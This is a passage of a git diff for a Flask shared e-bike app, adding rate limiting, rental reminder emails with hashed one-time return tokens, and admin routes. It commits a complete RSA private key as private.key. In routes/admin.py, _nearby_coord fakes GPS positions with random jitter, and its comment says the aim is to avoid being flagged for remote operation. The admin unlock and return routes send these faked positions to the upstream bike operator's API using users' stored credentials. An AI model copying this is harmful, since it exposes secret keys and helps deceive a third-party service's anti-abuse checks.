result.get("rtn_code") == 0 and row["expires_at"] > now else "stale", + "interval_hint": "全用户共享 60 秒地图快照", + } + + def clear(self): + conn = self._connect() + try: + conn.execute("DELETE FROM shared_map_snapshots") + conn.commit() + finally: + conn.close() + + +shared_map_cache = SharedMapCache(Path(__file__).with_name("map_cache.db")) diff --git a/private.key b/private.key new file mode 100644 index 0000000..c2654cf --- /dev/null +++ b/private.key @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA6uK6FJIX3CHtkkWb8s448v5l0UY8yh4hbL/xhvQQrAGEdeDR +m/zwstwsw/OKkkWLe0eE1zC0/zvgZN8gjXNtgUK4A6uev+CjctEPijT6fhcXsWsp +QQ6ihRGw+giSIm8TIGdh97cwpyKB6e8EgpddLlcaBPBd4Xkyi5aZwGuqDjuvDMeY +fd+3Fe0MuZ61RObQ8cplAG14GKBly/HhEkY4ycxrzxKNbMYRJW9wZvUHv+E3ku7e +zdCtaLU2AVtVlVYRgPwUT7kB9oSqXSXds18g1H6f3w0Ci1osRgrA/gRQZNUIwdJ5 +8FT955xHmvkP98NxRLLPZ8Wqmn9/5jnsVyn12QIDAQABAoIBAA9Gphf65WLbcQY7 +kTgiGdmR2oDZCtCRU5atSBHBE0mAgsMg1zkIIwZa4+1tjCRVsgvXO6g8InVcCUy+ +JzGT4XoP4wRYF8e+Xhr0Rki0h9sF+PRAtirlPwQdAa/NOWXUZ//KQXiZGSixiZXz +hc1Rd02xe/94u35TwcoKxh6Z0fJBZwxSi2J72XnEWWQ71ru63RAp70JgxONMrcZ8 +gHyqit8AN/kmzjT+LGsrw8SKJJTyD7/2Mtcn3QnfAB3+bFrwZPdcDlGIdDn/jmjx +sFbtxdug8zHVuI0EbGL6EHVGcgSWhp9FvZ9is2k08dmQdPLotOG8+vSfg9RCMZBT +50KrbOUCgYEA9nx8aWsML/0fQisWyN4JTtjqKy6ZizrdfLTktmHCl0OO3gvUQoIH +1KHSzlIBIKsC0utQEbM1pszh8aXFBH8bg/x1RrZigT9bTTzTrOfmsIL7Hg+AR/iv +GC1LszZdmB2kwaquKgUilfAz6ZCBgkZ5RwpcvmNdoqLfmNlcpQMs95UCgYEA8/Od +ro3GRXyq8hZz7LpgOx33XpLtD3Fj4z00TIJqKZAGcsHrlJw/wDHbMQqkdpCSu673 +TLb67vXLyjyXuOXGCbIsKJpT3Ach5DxwceUnwg3OHWoreuCwyklHjIz9xwGecvpZ +qzDN9t/6IoTLlGXEZ28+hoXMDXJQtMq85lpy5DUCgYAu36eNKJVNvvYl0CnqEwd0 +Hh4SDi+W4Z/jKkdgQ6EMwQU3RsqbxzyT/B4prECYpMzJrYQxiYIHcWj6WkroOv/R +jr4Cr4Z2C8ViH9IlTIh7Qr1cjxgXF7y8fUirEQild+WwCrRKO2XDW8WTgi6OxrYj +g131utHArvaUi6lpm/v+LQKBgQDVmIqJmWzuzndGvE4ICi/T0ysSTYbvLJMPFjnC +e7XEamya8hv45M4U1BJdYDob7f3sAwhYzSXtMJ2cl20o4VaCitSLQIUIc95C3oB9 +2Oz0xe2gZ6NmVXG1zG+vKovRQSOg/H6im3rbG8UBkFBHwMs03XxbgK7nXx43DgRT +lQJfuQKBgQDxLjiwU9nYonBoiwUx8vfB3RGuoPgmVCGh9tEy+nyXxOu0imvx/Mbz +DP7PGP9+mG1HxcbAevlGD3tTTLimSTx+UIXIslgX+gY3KRv04PrDv8u44crA8Raf +3+sg7ASi8drli7EE6+UdloAR59UjKHOcW23EOS18/v999CnXAuFEqg== +-----END RSA PRIVATE KEY----- diff --git a/pytest.ini b/pytest.ini new file mode 100644 index 0000000..5ee6477 --- /dev/null +++ b/pytest.ini @@ -0,0 +1,2 @@ +[pytest] +testpaths = tests diff --git a/rate_limit.py b/rate_limit.py new file mode 100644 index 0000000..fb8998d --- /dev/null +++ b/rate_limit.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""进程内限流工具:滑动窗口限速 + 失败锁定。单进程部署下内存实现即可。""" +import threading +import time +from collections import deque + +_lock = threading.Lock() +_windows: dict = {} # key -> deque[timestamps] +_failures: dict = {} # key -> [fail_count, first_fail_ts] +_MAX_TRACKED = 50000 # 防止 key 无限增长(被伪造 IP 刷爆内存) + + +def _prune_locked(now: float): + """窗口表过大时清理过期项,避免内存被恶意 IP 撑爆。""" + if len(_windows) < _MAX_TRACKED: + return + for k in [k for k, dq in _windows.items() if not dq or now - dq[-1] > 600]: + _windows.pop(k, None) + if len(_windows) > _MAX_TRACKED * 2: + _windows.clear() + + +def hit(key, max_requests: int, window_seconds: int): + """滑动窗口限速:窗口内已达上限返回 False(本次不计入),否则记一笔并返回 True。""" + now = time.time() + with _lock: + dq = _windows.setdefault(key, deque()) + while dq and now - dq[0] > window_seconds: + dq.popleft() + if len(dq) >= max_requests: + _prune_locked(now) + return False + dq.append(now) + _prune_locked(now) + return True + + +def fail_locked(key, max_fails: int, lock_seconds: int): + """该 key 是否已处于锁定状态。返回 (locked, 剩余秒数)。""" + now = time.time() + with _lock: + entry = _failures.get(key) + if not entry: + return False, 0 + count, first_ts = entry + if now - first_ts > lock_seconds: + del _failures[key] + return False, 0 + if count >= max_fails: + return True, int(lock_seconds - (now - first_ts)) + return False, 0 + + +def record_fail(key, max_fails: int, lock_seconds: int): + """记录一次失败;窗口过期则重新计数。返回当前是否触发锁定。""" + now = time.time() + with _lock: + entry = _failures.get(key) + if not entry or now - entry[1] > lock_seconds: + entry = [1, now] + _failures[key] = entry + else: + entry[0] += 1 + return entry[0] >= max_fails + + +def record_success(key): + with _lock: + _failures.pop(key, None) diff --git a/rental_mail.py b/rental_mail.py new file mode 100644 index 0000000..07ce9fb --- /dev/null +++ b/rental_mail.py @@ -0,0 +1,452 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""租车提醒邮件与无登录还车能力链接。""" +import datetime as dt +import hashlib +import html +import json +import os +import secrets +from pathlib import Path + +from db import get_db, get_user_rental_settings +from email_utils import send_email + + +TOKEN_TTL_HOURS = 24 +CONFIG_PATH = Path(__file__).parent / "server_config.json" + + +def _utc_now(): + return dt.datetime.now(dt.timezone.utc) + + +def _time_str(value): + return value.astimezone(dt.timezone.utc).strftime("%Y-%m-%d %H:%M:%S") + + +def _token_hash(token: str) -> str: + return hashlib.sha256(token.encode("utf-8")).hexdigest() + + +def _public_base_url() -> str: + env_url = os.environ.get("XBNEW_PUBLIC_BASE_URL", "").strip() + if env_url: + return env_url.rstrip("/") + try: + data = json.loads(CONFIG_PATH.read_text(encoding="utf-8")) + return str(data.get("public_base_url") or "").strip().rstrip("/") + except (OSError, ValueError, TypeError): + return "" + + +def create_return_token(rental_id: int) -> str: + """创建一个短期能力令牌;数据库中只存摘要。""" + token = secrets.token_urlsafe(32) + expires_at = _utc_now() + dt.timedelta(hours=TOKEN_TTL_HOURS) + conn = get_db() + conn.execute(""" + INSERT INTO rental_return_tokens (rental_id, token_hash, expires_at) + VALUES (?, ?, ?) + """, (rental_id, _token_hash(token), _time_str(expires_at))) + conn.commit() + conn.close() + return token + + +def resolve_return_token(token: str): + """验证 token,返回 (status, rental)。status: valid/used/expired/finished/invalid。""" + if not token or len(token) > 200: + return "invalid", None + conn = get_db() + row = conn.execute(""" + SELECT t.used_at, t.expires_at, r.* + FROM rental_return_tokens t + JOIN rentals r ON r.id = t.rental_id + WHERE t.token_hash = ? + LIMIT 1 + """, (_token_hash(token),)).fetchone() + conn.close() + if not row: + return "invalid", None + rental = dict(row) + if row["used_at"]: + return "used", rental + try: + expires = dt.datetime.strptime(row["expires_at"], "%Y-%m-%d %H:%M:%S").replace( + tzinfo=dt.timezone.utc + ) + except (TypeError, ValueError): + return "invalid", None + if expires <= _utc_now(): + return "expired", rental + if rental.get("expired"): + return "finished", rental + return "valid", rental + + +def mark_return_tokens_used(rental_id: int): + """还车成功后作废该订单所有历史邮件链接。""" + conn = get_db() + conn.execute(""" + UPDATE rental_return_tokens + SET used_at = COALESCE(used_at, ?) + WHERE rental_id = ? + """, (_time_str(_utc_now()), rental_id)) + conn.commit() + conn.close() + + +def _display_name(email: str) -> str: + if not email: + return "未知用户" + return email.split("@", 1)[0] or email + + +def get_rental_mail_context(rental_id: int): + conn = get_db() + row = conn.execute(""" + SELECT r.*, owner.email AS owner_email, rider.email AS rider_email + FROM rentals r + LEFT JOIN users owner ON owner.id = r.user_id + LEFT JOIN users rider ON rider.id = r.rider_user_id + WHERE r.id = ? + """, (rental_id,)).fetchone() + if not row: + conn.close() + return None + result = dict(row) + result["owner_remark"] = "" + result["rider_remark"] = "" + if result.get("rider_user_id") and result.get("rider_user_id") != result.get("user_id"): + share = conn.execute(""" + SELECT owner_remark, rider_remark FROM shares + WHERE owner_user_id = ? AND rider_user_id = ? + ORDER BY id DESC LIMIT 1 + """, (result["user_id"], result["rider_user_id"])).fetchone() + if share: + result["owner_remark"] = share["owner_remark"] or "" + result["rider_remark"] = share["rider_remark"] or "" + conn.close() + return result + + +def _render_html(title: str, lead: str, details, button_url: str, urgent=False): + accent = "#dc2626" if urgent else "#2563eb" + rows = "".join( + '{}' + '{}'.format( + html.escape(str(label)), html.escape(str(value)) + ) + for label, value in details + ) + button = "" + if button_url: + safe_url = html.escape(button_url, quote=True) + button = f""" + +

+ 链接含有一次性还车凭证,24 小时内有效。请勿转发给他人。点击后仍需手动确认,不会直接还车。 +

""" + return f""" + +
+
+
+
+
小白超人·用车提醒
+

{html.escape(title)}

+

{html.escape(lead)}

+ + {rows} +
+ {button} +
+
+

这是系统自动发送的用车通知。

+
+""" + + +def send_rental_notification(rental_id: int, reminder_type: str, return_result=None): + """按订单关系生成个性化邮件;共享订单分别发给双方。""" + rental = get_rental_mail_context(rental_id) + if not rental: + return [] + + owner_email = rental.get("owner_email") or rental.get("email") + rider_email = rental.get("rider_email") + is_shared = bool(rider_email and rental.get("rider_user_id") != rental.get("user_id")) + owner_name = _display_name(owner_email) + rider_name = _display_name(rider_email) + bike_code = rental.get("bike_code") or "--" + order_id = rental.get("order_id") or rental_id + + recipients = [] + if is_shared: + recipients.append({ + "email": owner_email, + "user_id": rental.get("user_id"), + "role": "owner", + "subject_identity": rental.get("owner_remark") or rider_name, + "lead": f"{rental.get('owner_remark') or rider_name} 正在骑行你的共享车。", + "details": [("车辆归属", f"你({owner_email})"), + ("当前骑行人", f"{rental.get('owner_remark') or rider_name}({rider_email})")], + }) + recipients.append({ + "email": rider_email, + "user_id": rental.get("rider_user_id"), + "role": "rider", + "subject_identity": rental.get("rider_remark") or owner_name, + "lead": f"你正在骑行 {rental.get('rider_remark') or owner_name} 的共享车。", + "details": [("车辆归属", f"{rental.get('rider_remark') or owner_name}({owner_email})"), + ("当前骑行人", f"你({rider_email})")], + }) + else: + recipients.append({ + "email": owner_email, + "user_id": rental.get("user_id"), + "role": "rider", + "subject_identity": "", + "lead": "你当前的用车订单即将到期,请及时安排还车。", + "details": [("当前骑行人", f"你({owner_email})")], + }) + + results = [] + base_url = _public_base_url() + auto_success = bool(return_result and return_result.get("success")) + auto_attempted = bool(return_result is not None and return_result.get("attempted", True)) + for recipient in recipients: + if not recipient["email"]: + continue + settings = get_user_rental_settings(recipient.get("user_id")) + try: + reminder_minute = int(reminder_type) + except (TypeError, ValueError): + reminder_minute = None + if (not settings["reminder_enabled"] or + reminder_minute not in settings["reminder_minutes"]): + continue + details = list(recipient["details"]) + details.extend([("车辆编号", f"#{bike_code}"), ("订单编号", str(order_id))]) + can_remote_return = bool(rental.get("order_id") and rental.get("source") != "reminder") + + if reminder_type == "0": + if auto_success: + title = "已自动还车" + lead = recipient["lead"] + " 免费时长到期,系统已确认还车成功。" + subject = f"【小白超人】车辆 #{bike_code} 已自动还车" + urgent = False + button_url = "" + elif auto_attempted: + title = "自动还车失败" + error = (return_result or {}).get("message") or "上游还车接口未确认成功" + lead = recipient["lead"] + " 免费时长已到期,系统自动还车失败,请立即处理。" + details.append(("失败原因", error)) + subject = f"【小白超人·紧急】车辆 #{bike_code} 自动还车失败" + urgent = True + token = create_return_token(rental_id) if can_remote_return else "" + button_url = f"{base_url}/rental/email-return#token={token}" if base_url and token else "" + else: + title = "免费时长已到期" + reason = (return_result or {}).get("message") or "未执行自动还车" + if reason == "用户未开启自动还车": + action_text = "你未开启自动还车,请及时手动还车。" + else: + action_text = "该计时未关联可自动还车的微信订单,请及时手动还车。" + lead = recipient["lead"] + " 免费时长已到期," + action_text + subject = f"【小白超人】车辆 #{bike_code} 免费时长已到期,请手动还车" + urgent = True + token = create_return_token(rental_id) if can_remote_return else "" + button_url = f"{base_url}/rental/email-return#token={token}" if base_url and token else "" + else: + minutes = int(reminder_type) + title = f"免费时长还剩 {minutes} 分钟" + lead = recipient["lead"] + f" 免费时长还剩 {minutes} 分钟。" + identity = f"·{recipient['subject_identity']}" if recipient["subject_identity"] else "" + subject = f"【小白超人】共享用车{identity}还剩 {minutes} 分钟" if is_shared \ + else f"【小白超人】用车还剩 {minutes} 分钟" + urgent = minutes <= 3 + token = create_return_token(rental_id) if can_remote_return else "" + button_url = f"{base_url}/rental/email-return#token={token}" if base_url and token else "" + + plain_details = "\n".join(f"{k}:{v}" for k, v in details) + plain = f"{title}\n\n{lead}\n\n{plain_details}" + if button_url: + plain += f"\n\n立即还车(点击后需再确认):\n{button_url}\n\n请勿转发此链接。" + html_body = _render_html(title, lead, details, button_url, urgent) + results.append(send_email(recipient["email"], subject, plain, html_body)) + return results + + +# ===================================================================== +# 共享/订阅等通用通知邮件 +# ===================================================================== + +def _render_notice_html(kicker, title, lead, details, button_url="", accent="#2563eb"): + """通用通知邮件模板(申请/开始使用/还车播报共用)。""" + rows = "".join( + '{}' + '{}'.format( + html.escape(str(label)), html.escape(str(value))) + for label, value in details) + button = "" + if button_url: + safe_url = html.escape(button_url, quote=True) + button = f""" + """ + return f""" + +
+
+
+
+
{html.escape(kicker)}
+

{html.escape(title)}

+

{html.escape(lead)}

+ + {rows} +
+ {button} +
+
+

这是系统自动发送的通知邮件。

+
+""" + + +def _send_notice(to_email, subject, title, lead, details, button_url="", accent="#2563eb"): + if not to_email: + return False + plain = f"{title}\n\n{lead}\n\n" + "\n".join(f"{k}:{v}" for k, v in details) + if button_url: + plain += f"\n\n打开处理:\n{button_url}" + return send_email(to_email, subject, plain, + _render_notice_html("小白超人 · 共享电动车", title, lead, + details, button_url, accent)) + + +def send_share_request_email(owner_user_id: int, from_name: str, from_email: str): + """P1.7 共享申请离线通知:有人申请共享你的电动车。""" + from db import get_user_alert_email + to_email = get_user_alert_email(owner_user_id) + if not to_email: + return False + base_url = _public_base_url() + title = f"{from_name} 申请共享你的电动车" + lead = "对方接受后即可在你不在用车时,用你的共享额度开锁用车(受每日次数与优惠卡规则约束)。" + details = [("申请人", f"{from_name}({from_email})"), + ("通知时间", dt.datetime.now(dt.timezone(dt.timedelta(hours=8))).strftime("%Y-%m-%d %H:%M"))] + button_url = f"{base_url}/#profile" if base_url else "" + return _send_notice(to_email, f"【小白超人】{title}", title, lead, details, button_url) + + +def send_share_started_email(rental_id: int, owner_user_id: int, rider_user_id: int, + bike_code: str, latitude, longitude, + duration_minutes: int, used_today: int, daily_limit: int): + """P1.8 被使用提醒(发给车主):昵称(邮箱)已开始使用你的电动车 + 车辆位置。""" + from db import (get_user_alert_email, get_user_display_name) + rider_email = _display_name_owner_email(owner_user_id, rider_user_id) + if not rider_email: + return False + # 车主给骑行者起的私密备注优先 + owner_remark = "" + conn = get_db() + shr = conn.execute(""" + SELECT owner_remark FROM shares + WHERE owner_user_id = ? AND rider_user_id = ? + ORDER BY id DESC LIMIT 1 + """, (owner_user_id, rider_user_id)).fetchone() + if shr and shr["owner_remark"]: + owner_remark = shr["owner_remark"] + conn.close() + rider_display = get_user_display_name(rider_user_id) + rider_label = owner_remark or rider_display + + from campus import resolve_location_label + location = resolve_location_label(latitude, longitude) or "位置未知(坐标已记录)" + tz = dt.timezone(dt.timedelta(hours=8)) + now_str = dt.datetime.now(tz).strftime("%Y-%m-%d %H:%M") + title = f"{rider_label}({rider_email})已开始使用你的电动车" + lead = "共享开锁成功,本次用车时长按骑行者设置计时,到期会自动还车并用你的优惠卡支付。" + details = [("车辆编号", f"#{bike_code}"), + ("当前骑行人", f"{rider_label}({rider_email})"), + ("开锁位置", location), + ("本轮时长", f"{duration_minutes} 分钟"), + ("今日已用", f"{used_today} 次" + (f" / 上限 {daily_limit}" if daily_limit else "")), + ("开始时间", now_str)] + to_email = get_user_alert_email(owner_user_id) + return _send_notice(to_email, f"【小白超人】{title}", title, lead, details) + + +def send_share_returned_email(rental_id: int, order_id, owner_user_id: int, + rider_user_id, bike_code: str, + latitude, longitude): + """P1.8 还车播报(双方):从哪里骑到哪里 + 实际用时。""" + from db import (get_user_alert_email, get_user_display_name) + ctx = get_rental_mail_context(rental_id) or {} + owner_email = ctx.get("owner_email") or _display_name_owner_email(owner_user_id, owner_user_id) + rider_email = ctx.get("rider_email") or ( + _display_name_owner_email(owner_user_id, rider_user_id) if rider_user_id else "") + owner_remark = ctx.get("owner_remark") or "" + rider_remark = ctx.get("rider_remark") or "" + + from campus import resolve_location_label + end_location = resolve_location_label(latitude, longitude) + start_location = ctx.get("start_label") or None + if not end_location and latitude is not None: + end_location = "位置未知(坐标已记录)" + + tz = dt.timezone(dt.timedelta(hours=8)) + end_str = ctx.get("returned_at") or dt.datetime.now(tz).strftime("%Y-%m-%d %H:%M:%S") + duration_text = "--" + if ctx.get("start_time"): + try: + s = dt.datetime.strptime(ctx["start_time"], "%Y-%m-%d %H:%M:%S").replace(tzinfo=tz) + e = dt.datetime.strptime(end_str, "%Y-%m-%d %H:%M:%S").replace(tzinfo=tz) + total_min = max(int((e - s).total_seconds() // 60), 0) + duration_text = f"{total_min // 60} 小时 {total_min % 60} 分钟" if total_min >= 60 \ + else f"{total_min} 分钟" + except (TypeError, ValueError): + pass + + route = f"{start_location or '起点未知'} → {end_location or '终点未知'}" + title = f"车辆 #{bike_code} 已还车" + lead = f"本次骑行路线:{route}。" + base_details = [("车辆编号", f"#{bike_code}"), + ("骑行路线", route), + ("实际用时", duration_text), + ("还车时间", end_str), + ("订单编号", str(order_id or rental_id))] + + results = [] + owner_to = get_user_alert_email(owner_user_id) + if owner_to: + details = list(base_details) + details.insert(1, ("骑行人", f"{owner_remark or get_user_display_name(rider_user_id) or '--'}({rider_email or '--'})")) + results.append(_send_notice(owner_to, f"【小白超人】共享车辆 {title}:{route}", + title, lead, details)) + if rider_user_id and rider_email: + rider_to = get_user_alert_email(rider_user_id) + if rider_to: + details = list(base_details) + details.insert(1, ("车辆归属", f"{rider_remark or get_user_display_name(owner_user_id) or '--'}({owner_email or '--'})")) + results.append(_send_notice(rider_to, f"【小白超人】{title}:{route}", + title, lead, details)) + return results + + +def _display_name_owner_email(owner_user_id: int, target_user_id: int): + """查某用户邮箱(查询失败返回 None)。""" + if not target_user_id: + return None + conn = get_db() + row = conn.execute("SELECT email FROM users WHERE id = ?", (target_user_id,)).fetchone() + conn.close() + return row["email"] if row else None diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..a9310fb --- /dev/null +++ b/requirements.txt @@ -0,0 +1,3 @@ +flask>=3.0 +requests>=2.31 +urllib3>=2.0 diff --git a/routes/__init__.py b/routes/__init__.py new file mode 100644 index 0000000..b147f40 --- /dev/null +++ b/routes/__init__.py @@ -0,0 +1 @@ +# Flask Blueprint 路由模块 diff --git a/routes/admin.py b/routes/admin.py new file mode 100644 index 0000000..7872ff7 --- /dev/null +++ b/routes/admin.py @@ -0,0 +1,1226 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""管理后台路由""" +import json +import random +from functools import wraps +from pathlib import Path +from flask import Blueprint, jsonify, request, render_template, session, redirect + +from db import (get_db, get_all_users, get_all_rentals, get_rental_status_label, + get_user_auth, get_user_rental_settings, normalize_rental_settings, + save_user_rental_settings, create_invite_codes, list_invite_codes, + set_invite_code_disabled, delete_invite_code) +from wechat import request_with_user_auth +from routes.auth import hash_password +import rate_limit + +bp = Blueprint("admin", __name__) + +# 管理员口令不再硬编码:从 admin_config.txt 读取(已 gitignore) +_ADMIN_CONFIG_PATH = Path(__file__).parent.parent / "admin_config.txt" + +# 管理员登录失败锁定:同一 (IP, 用户名) 15 分钟内连续失败 5 次即锁定 +ADMIN_LOGIN_MAX_FAILS = 5 +ADMIN_LOGIN_LOCK_SECONDS = 15 * 60 + + +def _load_admin_config() -> dict: + cfg = {"admin_username": "", "admin_password": ""} + try: + if _ADMIN_CONFIG_PATH.exists(): + for line in _ADMIN_CONFIG_PATH.read_text("utf-8").splitlines(): + line = line.strip() + if line and not line.startswith("#") and "=" in line: + k, v = line.split("=", 1) + k = k.strip() + if k in cfg: + cfg[k] = v.strip() + except Exception as e: + print(f"[admin配置] 读取失败: {e}") + return cfg + + +def _nearby_coord(lat, lng, jitter=0.0001): + """在车辆坐标附近加随机抖动,模拟真实定位(避免每次上报同一精确点被判远程操作)""" + try: + lat = float(lat) + lng = float(lng) + except (TypeError, ValueError): + lat, lng = 36.67, 116.98 + return { + "lat": lat + random.uniform(-jitter, jitter), + "lng": lng + random.uniform(-jitter, jitter), + } + + +def admin_required(f): + @wraps(f) + def decorated(*args, **kwargs): + if not session.get("admin_logged_in"): + if request.is_json: + return jsonify({"rtn_code": 401, "message": "未登录"}) + return redirect("/admin/login") + return f(*args, **kwargs) + return decorated + + +def _login_page(error=""): + return render_template("admin_login.html", error=error) + + +def _client_ip_simple() -> str: + """管理登录限速用的客户端标识。与 auth._client_ip 相同的代理头规则。""" + from routes.auth import _client_ip + return _client_ip() + + +@bp.route("/admin/login", methods=["GET", "POST"]) +def admin_login(): + if request.method == "POST": + data = request.get_json(silent=True) or request.form.to_dict() + username = data.get("username", "") + password = data.get("password", "") + cfg = _load_admin_config() + rl_key = ("admin_login", _client_ip_simple(), username) + locked, wait_seconds = rate_limit.fail_locked( + rl_key, ADMIN_LOGIN_MAX_FAILS, ADMIN_LOGIN_LOCK_SECONDS) + if locked: + if request.is_json: + return jsonify({"rtn_code": 429, + "message": f"失败次数过多,请 {max(wait_seconds // 60, 1)} 分钟后再试"}), 429 + return _login_page(f"失败次数过多,请 {max(wait_seconds // 60, 1)} 分钟后再试"), 429 + if (cfg["admin_username"] and cfg["admin_password"] + and username == cfg["admin_username"] and password == cfg["admin_password"]): + rate_limit.record_success(rl_key) + session["admin_logged_in"] = True + if request.is_json: + return jsonify({"rtn_code": 0, "message": "登录成功"}) + return redirect("/admin") + rate_limit.record_fail(rl_key, ADMIN_LOGIN_MAX_FAILS, ADMIN_LOGIN_LOCK_SECONDS) + if request.is_json: + return jsonify({"rtn_code": 400, "message": "账号或密码错误"}), 400 + return _login_page("账号或密码错误"), 401 + + if session.get("admin_logged_in"): + return redirect("/admin") + return _login_page() + + +@bp.route("/admin/logout") +def admin_logout(): + session.pop("admin_logged_in", None) + return redirect("/admin/login") + + +@bp.route("/admin") +@admin_required +def admin_index(): + # admin.html 已改为由 /api/admin/* 驱动,此处只需渲染页面骨架 + return render_template("admin.html") + + +# ========== 管理 API ========== + +@bp.route("/api/admin/users") +@admin_required +def admin_api_users(): + users = get_all_users() + # 补充 created_at 便于展示 + conn = get_db() + cur = conn.cursor() + for u in users: + cur.execute("SELECT created_at FROM users WHERE id = ?", (u["id"],)) + row = cur.fetchone() + u["created_at"] = (row["created_at"] if row else None) + # token 完整值仅凭据接口返回;列表里用掩码预览 + if u.get("token_id"): + tid = str(u["token_id"]) + u["token_id_mask"] = (tid[:3] + "…" + tid[-3:]) if len(tid) > 8 else tid + if u.get("access_token"): + sig = str(u["access_token"]) + u["wx_sig_mask"] = (sig[:6] + "…" + sig[-4:]) if len(sig) > 12 else sig + conn.close() + return jsonify({"rtn_code": 0, "data": users}) + + +@bp.route("/api/admin/summary") +@admin_required +def admin_api_summary(): + """管理页顶部统计卡片""" + users = get_all_users() + rentals = get_all_rentals(limit=1000) + active = sum(1 for r in rentals if get_rental_status_label(r["expired"], r["end_time"]) in ("进行中", "已超时")) + completed = sum(1 for r in rentals if r["expired"]) + conn = get_db() + cur = conn.cursor() + cur.execute("SELECT COUNT(*) AS c FROM shares WHERE status = 'active'") + active_shares = cur.fetchone()["c"] or 0 + cur.execute("SELECT COUNT(*) AS c FROM share_requests WHERE status = 'pending'") + pending_reqs = cur.fetchone()["c"] or 0 + cur.execute("SELECT COUNT(*) AS c FROM sessions") + sessions = cur.fetchone()["c"] or 0 + conn.close() + return jsonify({"rtn_code": 0, "data": { + "total_users": len(users), + "active_rentals": active, + "completed_rentals": completed, + "total_rentals": len(rentals), + "active_shares": active_shares, + "pending_share_requests": pending_reqs, + "sessions": sessions, + }}) + + +@bp.route("/api/admin/rentals") +@admin_required +def admin_api_rentals(): + rentals = get_all_rentals(limit=500) + result = [] + for r in rentals: + result.append({ + "id": r["id"], + "order_id": r["order_id"], + "bike_code": r["bike_code"], + "email": r.get("user_email") or r["email"], + "rider_email": r.get("rider_email"), + "user_id": r.get("user_id"), + "start_time": r["start_time"], + "end_time": r["end_time"], + "expired": r["expired"], + "source": r.get("source", ""), + "status": get_rental_status_label(r["expired"], r["end_time"]), + }) + return jsonify({"rtn_code": 0, "data": result}) + + +@bp.route("/api/admin/return", methods=["POST"]) +@admin_required +def admin_api_return(): + """管理员代还车(使用用户自己的 signature)""" + data = request.get_json() or {} + rental_id = data.get("rental_id") + user_id = data.get("user_id") + + if not rental_id or not user_id: + return jsonify({"rtn_code": 400, "message": "缺少 rental_id 或 user_id"}) + + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT * FROM rentals WHERE id = ?", (rental_id,)) + rental = cursor.fetchone() + if not rental: + conn.close() + return jsonify({"rtn_code": 404, "message": "记录不存在"}) + + # 用用户自己的凭据调微信还车(统一用户 token + 车辆附近坐标) + order_id = rental["order_id"] or rental_id + bike_result = request_with_user_auth( + int(user_id), "POST", "/project/bicycle", data={"code": rental["bike_code"]}, _silent=True) + bike_data = bike_result.get("data", {}) or {} + pos = _nearby_coord(bike_data.get("latitude", 36.67), bike_data.get("longitude", 116.98)) + latitude = pos["lat"] + longitude = pos["lng"] + + # 先校验当前位置是否为合法还车点;不在还车点则选择最近停车点(与用户端 order_return 一致) + check_result = request_with_user_auth( + int(user_id), "POST", "/record/checkLocation", + data={"longitude": longitude, "latitude": latitude, "bicycleCode": rental["bike_code"]}, _silent=True) + use_nearest = False + if check_result.get("rtn_code") != 0 or check_result.get("parkNoShow") is True: + from routes.rental import get_nearest_park_point + nearest = get_nearest_park_point(latitude, longitude) + if nearest: + latitude = nearest.get("latitude") or nearest.get("lat") + longitude = nearest.get("longitude") or nearest.get("lng") + use_nearest = True + + return_result = request_with_user_auth(int(user_id), "POST", "/record/return", data={ + "order_id": int(order_id) if str(order_id).isdigit() else order_id, + "longitude": longitude, "latitude": latitude, "code": rental["bike_code"] + }) + + if return_result.get("rtn_code") == 0: + cursor.execute("UPDATE rentals SET expired = 1 WHERE id = ?", (rental_id,)) + conn.commit() + + # 尝试月卡支付 + from timer import _try_card_pay_auto + try: + _try_card_pay_auto(int(user_id), str(order_id), rental["bike_code"]) + except Exception: + pass + + conn.close() + return jsonify({"rtn_code": 0, "message": "还车成功"}) + else: + conn.close() + return jsonify({"rtn_code": return_result.get("rtn_code", 500), + "message": return_result.get("message", "还车失败")}) + + +@bp.route("/api/admin/unlock", methods=["POST"]) +@admin_required +def admin_api_unlock(): + """管理员代开锁(使用用户自己的 signature)""" + data = request.get_json() or {} + user_id = data.get("user_id") + code = str(data.get("code", "")).strip() + + if not user_id or not code: + return jsonify({"rtn_code": 400, "message": "缺少 user_id 或 code"}) + + user_id = int(user_id) + + # 查用户信息 + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT id, email FROM users WHERE id = ?", (user_id,)) + user = cursor.fetchone() + if not user: + conn.close() + return jsonify({"rtn_code": 404, "message": "用户不存在"}) + + token_id, access_token = get_user_auth(user_id) + if not token_id: + conn.close() + return jsonify({"rtn_code": 400, "message": "该用户未配置微信凭据"}) + + # 查车辆信息获取位置 + bike_result = request_with_user_auth(user_id, "POST", "/project/bicycle", data={"code": code}, _silent=True) + if bike_result.get("rtn_code") != 0: + conn.close() + return jsonify({"rtn_code": 400, "message": f"查车辆信息失败: {bike_result.get('message', '未知错误')}"}) + + bike_data = bike_result.get("data", {}) + pos = _nearby_coord(bike_data.get("latitude", 36.67), bike_data.get("longitude", 116.98)) + latitude = pos["lat"] + longitude = pos["lng"] + + # 创建订单 + order_result = request_with_user_auth(user_id, "POST", "/record/order", data={ + "code": code, "start_longitude": longitude, "start_latitude": latitude + }, _silent=True) + if order_result.get("rtn_code") != 0: + msg = order_result.get("message", "创建订单失败") + # 可能是已有未支付订单 + if "未支付" in msg or "订单" in msg: + # 尝试获取已有订单ID + info = request_with_user_auth(user_id, "GET", "/user/info", _silent=True) + non_deal = info.get("data", {}).get("nonDealOrder") + if non_deal and non_deal.get("order_id"): + conn.close() + return jsonify({"rtn_code": 400, "message": f"已有未支付订单(order_id={non_deal['order_id']}),请先处理"}) + conn.close() + return jsonify({"rtn_code": 400, "message": msg}) + + order_id = str(order_result.get("data", {}).get("order_id", "")) + if not order_id: + conn.close() + return jsonify({"rtn_code": 500, "message": "创建订单失败"}) + + # 开锁 + open_result = request_with_user_auth(user_id, "POST", "/record/qrOrder", data={ + "order_id": order_id, "code": code, "longitude": longitude, "latitude": latitude + }, _silent=True) + + if open_result.get("rtn_code") == 0: + import datetime as dt + tz = dt.timezone(dt.timedelta(hours=8)) + now = dt.datetime.now(tz) + duration = get_user_rental_settings(user_id)["rental_duration_minutes"] + end = now + 